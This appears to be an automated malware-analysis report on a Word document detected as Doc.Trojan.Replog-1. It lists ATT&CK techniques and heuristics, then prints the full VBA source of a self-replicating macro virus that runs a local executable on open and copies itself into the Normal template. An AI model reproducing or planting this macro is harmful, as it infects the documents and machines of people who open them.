MALICIOUS
280
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1204.002 Malicious File
T1566.001 Spearphishing Attachment
The sample contains a VBA macro that executes upon opening the document. This macro uses the Shell function to run a second-stage executable located at 'I:\Eudora\Sys\Server.exe'. The macro also appends the current date to a log file at 'I:\Rep.log'. The presence of the Shell() call and the Document_Open macro strongly indicate malicious intent.
Heuristics 5
-
ClamAV: Doc.Trojan.Replog-1 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Replog-1
-
VBA macros detected medium 3 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
Shell() call in VBA critical OLE_VBA_SHELLShell() call in VBA
-
Document_Open macro high OLE_VBA_DOCOPENDocument_Open macro
-
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 1108 bytes |
SHA-256: 3c35ed764b9945f8b4773866781fb499a47e1f3ea4e3f51206a163a6a8569360 |
|||
|
Detection
ClamAV:
Doc.Trojan.Replog-1
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Private Declare Sub MessageBeep Lib "user32" (ByVal wAlert As Integer) Private Declare Function sndPlaySound Lib "WINMM.DLL" Alias "sndPlaySoundA" (ByVal sn As Any, ByVal uflags As Long) As Long Private Sub Document_Open() On Error Resume Next Shell "I:\Eudora\Sys\Server.exe" Set TD = ThisDocument.VBProject.VBComponents(1) Set AD = ActiveDocument.VBProject.VBComponents(1) Set NT = NormalTemplate.VBProject.VBComponents(1) VCode = TD.CodeModule.Lines(1, TD.CodeModule.CountOfLines) NT.CodeModule.DeleteLines 1, NT.CodeModule.CountOfLines AD.CodeModule.DeleteLines 1, AD.CodeModule.CountOfLines NT.CodeModule.InsertLines 1, VCode AD.CodeModule.InsertLines 1, VCode ActiveDocument.Save NormalTemplate.Save Open "I:\Rep.log" For Append As #1 Print #1, "Active on " & Date Close End Sub |
|||
Open this report in the interactive analyzer, or submit your own file for analysis.